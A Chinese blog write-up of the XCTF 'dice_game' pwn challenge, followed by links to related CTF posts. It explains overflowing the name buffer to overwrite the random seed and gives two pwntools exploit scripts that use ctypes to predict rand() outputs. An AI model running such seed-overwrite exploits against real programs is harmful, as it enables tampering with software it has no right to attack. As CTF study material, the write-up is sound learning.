dice_game

XCTF 4th-QCTF-2018

前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西。

考察的知识点是:

1.cdll_loadlibrary加载对应库使得Python可以使用c的函数。

2.关于srand函数中种子的介绍。

3.一些平时没有见过的杂项

保证我写的很详细,因为我也是个菜鸡

----第一步查看保护喽



第一眼就很恐怖嗷,居然就只有canary没有开,其他的全开,got表也不能修改,我就很痛苦嗷

----第二步ida看看



main函数这里要说的呢

1.这里设置了种子,并且应该注意地址在rbp-10h

2.这里v6是read函数的返回值,返回数值呢

3.注意看什么时候设置截止符'\x00'



函数名字以及备注是我看错的地方,我以为这个函数是爆破点的,另外我就把这个函数里面其他的东西解释解释吧:

%hd是读入短整型整数,与long int 相对

_assert_fail,assert是宏,这是设置一个出现错误时候应该输出的,我一开始以为这个东西是值得爆破的地方呢。

负责输出的函数,那么我这里记录一下我的思路:

1.可以直接修改v8的数值到50,直接获得flag

2.每次把v2直接暴露出来赋值给v1

3.负责破坏跳转直接跳转到暴露的地方。

那么这里三种方法其实都是不行的,与答案有点相关的是第二个方法,这里我主要介绍一下srand函数seed,以及rand函数吧。


seed是种子,负责伪随机数列,srand是设置种子的函数,rand函数呢是取伪随机数列。依次对于数列里面的数值去取,详细的我就不说了。

那么这里我们只要获得seed我们就可以知道每一次应该输入的v1数值。

保证我们每次猜,每次对。


另外想要解释的是:ctypes这个py库

说实话这个库我看文档是完全没有看懂的,这里看了别人写的博客,我把博客地址黏贴到这里了(更好的博客园)

https://www.cnblogs.com/gaowengang/p/7919219.html

ctypes是负责在py里面使用c语言的函数,因为这里我们必然要在exp写rand以及srand,所以就要加载相应的库。

加载进去库之后,要使用相应的函数还要使用对应的函数,Linux下就是:

cdll.LoadLibrary()

-
from ctypes import *
libc=cdll.LoadLibrary("libc.so.6")

这里要使用就这个样子了.

所以我就先贴上exp了。

from pwn import *

from ctypes import *

p=process('./dice_game')

libc=cdll.LoadLibrary("libc.so.6")

payload= 'a'*0x40+p64(0)

p.recvuntil("Welcome, let me know your name: ")

p.sendline(payload)
a=[]
for i in range(50):
a.append(str(libc.rand()%6+1))
print a
for i in a:
p.recv()
p.sendline(i)
p.interactive()

这里exp写了两种

from pwn import *
from ctypes import *
p = process('./dice_game')
payload = 'a'*0x40 + p64(0)
libc = cdll.LoadLibrary('libc.so.6')
p.recvuntil("Welcome, let me know your name: ")
p.sendline(payload)
libc.srand(0)
for i in range(50):
a=str(libc.rand()%6+1)
p.recvuntil("Give me the point(1~6): ")
p.sendline(a)
p.interactive()

大家伙可以看看这里两种有什么区别。(好吧估计也没人看我写的博客,也就自己看看吧)

我先介绍一下这里exp吧

都是覆盖到seed那里,然后随便改一个数值修改seed,但是恰好是这里,让我博客打了一半有了新的发现。

这里你如果覆盖成seed为0,1的话,其实他这里生成的数组a是相同的元素,我记得srand默认参数是1,然而这里第一个exp的话是没有后面再次更改srand()的值,直接使用了默认,因为这个人覆盖的这里也是0,但是我其实是不推荐这种做法的。

对于第二个exp,这里还是使用了libc.srand(0)因此比第一种更好点。

------------------麦林pwn手

如果觉得CSDN越来越拉,并且在CSDN写博客是一件很拉的事情,麻烦点个赞再走。

dice_game攻防世界进阶区的更多相关文章

  1. 攻防世界进阶区MISC ——56-60

    56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...

  2. 攻防世界Web区部分题解

    攻防世界Web区部分题解   前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...

  3. pwn篇:攻防世界进阶welpwn,LibcSearcher使用

    攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...

  4. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  5. 攻防世界-进阶-[re1-100]

    一.收集程序信息 64位的ELF文件,没有壳 二.放入IDA 使用64位IDA打开文件,先进行静态分析查看伪代码,进入main函数 通过这段可以得知输入的内容存储到了input中(这里我将bufwri ...

  6. 进阶区forgotg攻防世界

    攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...

  7. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  8. 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup

    攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...

  9. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

随机推荐

  1. ubuntu 20.04 发邮件配置

    安装sendmail后,发邮件一直没有成功,因此卸载sendmail后,安装heirloom-mailx. # unbuntu 18.04和20.04移除了heirloom-mailx,需要另外配置软 ...

  2. C# windows服务知识集锦

    最近公司项目,本人也是刚接触windows服务,现在把这两天上网学习的一些资料拿出来与大家分享. 1).关于windows服务安装包的制作和自动启动服务 http://blog.csdn.net/re ...

  3. Xshell 为什么会出现中文乱码?

    在网上下载xshell并成功安装了,但是当登录服务器查看中文时却出现了乱码的现象呢?这是怎么回事呢?本集小编就同大家详细讲讲. 图1:使用中文命名文档 现象: 登录服务器查看中文却出现乱码 原因分析: ...

  4. c++ 打包函数教程

    c++当要重复运行一些代码时可以打包一个函数 当没有返回值时用void打包函数: #include <iostream> #include <stdio.h> using na ...

  5. leetcode 盛水最多的容器 解析

    采用双指针法: 主要思想:定义头尾两个指针,分别向中间遍历,当相遇时结束循环.存储每一次遍历容器盛水的最大容量,并不断更新. 盛水的最大容量为 左右指针高度的最小值 乘以 左右指针的距离即宽度. 则可 ...

  6. css3 flex的IE8浏览器兼容问题

    我这是进行判断浏览器 css判断ie版本才引用样式或css文件 <!--[if !IE]><!--> 除IE外都可识别 <!--<![endif]--> &l ...

  7. Nginx系列(3)- 负载均衡

    负载均衡 Nginx提供的负载均衡策略有两种: 内置策略为轮询.加权轮询.ip hash 扩展策略,就天马行空了,只有你想不到的没有它做不到的 轮询  加权轮询(根据权重来) iphash对客户端请求 ...

  8. Linux系列(39) - nohup

    nohup 英文全称 no hang up(不挂起),用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行. nohup 命令,在默认情况下(非重定向时),会输出一个名叫 nohup.out 的 ...

  9. YOLO v3 & Pascal VOC数据集

    代码地址:https://github.com/YunYang1994/tensorflow-yolov3 https://hackernoon.com/understanding-yolo-f5a7 ...

  10. Python简单算法的实现

    #coding=utf-8 #!/usr/bin/python def GCD(a,b): """ :求两个数的最大公约数 :param a: :param b: :re ...